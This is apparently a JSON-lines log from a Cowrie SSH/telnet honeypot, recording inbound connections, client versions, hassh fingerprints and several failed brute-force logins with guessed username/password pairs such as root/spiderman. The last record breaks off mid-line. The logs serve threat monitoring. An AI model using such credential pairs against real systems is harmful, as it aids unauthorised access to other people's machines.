{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:21.415104Z","src_ip":"103.77.175.15","session":"fd24ddc3f936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":41400,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d306425e74","protocol":"ssh","message":"New connection: 129.146.243.24:41400 (159.203.135.109:22) [session: 65d306425e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:21.790596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:21.802151Z","src_ip":"129.146.243.24","session":"65d306425e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:21.903525Z","src_ip":"129.146.243.24","session":"65d306425e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01021981","message":"login attempt [root/01021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:22.198432Z","src_ip":"103.77.175.15","session":"fd24ddc3f936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redaktion","password":"redaktion123","message":"login attempt [redaktion/redaktion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:22.294260Z","src_ip":"129.146.243.24","session":"65d306425e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:22.311432Z","src_ip":"91.92.40.36","session":"f9b3271c1489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:22.617454Z","src_ip":"91.92.40.36","session":"c84d4344dfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:23.400500Z","src_ip":"129.146.243.24","session":"65d306425e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:23.460654Z","src_ip":"103.77.175.15","session":"fd24ddc3f936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e8763d3b1cf","protocol":"ssh","message":"New connection: 91.92.40.36:42744 (10.17.0.5:22) [session: 6e8763d3b1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:26.232806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:26.262185Z","src_ip":"91.92.40.36","session":"6e8763d3b1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:26.989454Z","src_ip":"91.92.40.36","session":"6e8763d3b1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41946,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e96c29e6841","protocol":"telnet","message":"New connection: 128.199.8.54:41946 (159.203.135.109:23) [session: 5e96c29e6841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:30.375701Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"spiderman","message":"login attempt [root/spiderman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:30.610405Z","src_ip":"91.92.40.36","session":"6e8763d3b1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29070,"dst_ip":"10.17.0.5","dst_port":22,"session":"a09dae22c516","protocol":"ssh","message":"New connection: 91.92.40.36:29070 (10.17.0.5:22) [session: a09dae22c516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:31.670365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:31.912664Z","src_ip":"91.92.40.36","session":"a09dae22c516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:32.597304Z","src_ip":"91.92.40.36","session":"a09dae22c516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:33.044935Z","src_ip":"91.92.40.36","session":"6e8763d3b1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29124,"dst_ip":"10.17.0.5","dst_port":22,"session":"01a16ba7e897","protocol":"ssh","message":"New connection: 91.92.40.36:29124 (10.17.0.5:22) [session: 01a16ba7e897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:35.252627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:35.537499Z","src_ip":"91.92.40.36","session":"01a16ba7e897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:35.541171Z","src_ip":"91.92.40.36","session":"01a16ba7e897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:37.257900Z","src_ip":"91.92.40.36","session":"a09dae22c516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:37.485856Z","src_ip":"91.92.40.36","session":"01a16ba7e897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:39.130751Z","src_ip":"91.92.40.36","session":"01a16ba7e897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:39.853155Z","src_ip":"91.92.40.36","session":"a09dae22c516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16660,"dst_ip":"10.17.0.5","dst_port":22,"session":"1090845513c4","protocol":"ssh","message":"New connection: 91.92.40.36:16660 (10.17.0.5:22) [session: 1090845513c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:41.343651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:41.435930Z","src_ip":"91.92.40.36","session":"1090845513c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:41.767942Z","src_ip":"91.92.40.36","session":"1090845513c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest123","message":"login attempt [ftptest/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:42.492751Z","src_ip":"91.92.40.36","session":"1090845513c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:43.791969Z","src_ip":"91.92.40.36","session":"1090845513c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47396,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ee9aca19253","protocol":"ssh","message":"New connection: 91.92.40.36:47396 (10.17.0.5:22) [session: 3ee9aca19253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:47.488523Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37954,"dst_ip":"10.17.0.5","dst_port":22,"session":"c27a9607ee0c","protocol":"ssh","message":"New connection: 27.71.230.31:37954 (10.17.0.5:22) [session: c27a9607ee0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:49.971792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:49.979208Z","src_ip":"27.71.230.31","session":"c27a9607ee0c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:50.072773Z","src_ip":"91.92.40.36","session":"3ee9aca19253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:50.078007Z","src_ip":"91.92.40.36","session":"3ee9aca19253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:50.220751Z","src_ip":"27.71.230.31","session":"c27a9607ee0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47438,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8267a3a90f4","protocol":"ssh","message":"New connection: 91.92.40.36:47438 (10.17.0.5:22) [session: d8267a3a90f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:52.733635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:52.893660Z","src_ip":"91.92.40.36","session":"d8267a3a90f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 